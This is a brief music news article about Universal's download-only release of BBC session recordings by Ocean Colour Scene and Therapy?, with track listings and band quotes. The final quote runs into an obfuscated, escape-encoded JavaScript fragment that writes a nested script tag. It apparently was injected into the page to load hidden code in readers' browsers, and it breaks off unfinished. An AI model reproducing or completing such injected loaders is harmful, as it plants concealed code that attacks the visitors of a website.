Ocean Colour Scene and Therapy? on BBC download release

Download-only session albums from Ocean Colour Scene and Therapy?

Marking the first digital-only releases as part of Universal's BBC deal – allowing Universal to release archival BBC material from the vaults – Ocean Colour Scene and Therapy? both release their complete BBC sessions on 26 February.

Following on from the success of BBC session releases by Pulp, House Of Love, PJ Harvey, The La's, The Housemartins, Free, John Martyn, Billy Fury, Gene, John Mayall & The Bluesbreakers, Siouxsie And the Banshees and The Bluetones, these two releases capture an alternative chronology of both bands.

Ocean Colour Scene – The BBC Sessions features the best of their session recordings for the BBC, with fifteen tracks including 'Riverboat Song', 'Travellers Tune', and 'The Day We Caught The Train'.

Speaking about the release, Steve Craddock from Ocean Colour Scene said, "We recorded so many sessions over the last 10 years for the BBC, it's great to pull out the old stuff and hear it again. The BBC has a built a fantastic archive over the years and to be part of the drive to make it all available to download is pretty mad. We're really chuffed."

The Therapy? download-only release features the 1991-1998 sessions and includes the previously unreleased 'The Sweeney', 'Lost Highway' and 'Pile Of Bricks'. It includes extensive sleeve notes by the band, and is one of a series of digital-only Universal Music releases from the BBC's archives.

Talking about the album, Michael McKeegan commented, "It's very flattering to be in the first batch of artists to have these old sessions made available in their entirety especially in a digital download format. Having existed as scraps on C-90s or as half-forgotten memories it's brilliant to be able to re-visit so many unique (and one-off) performances and let people see what all the fuss was about..."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22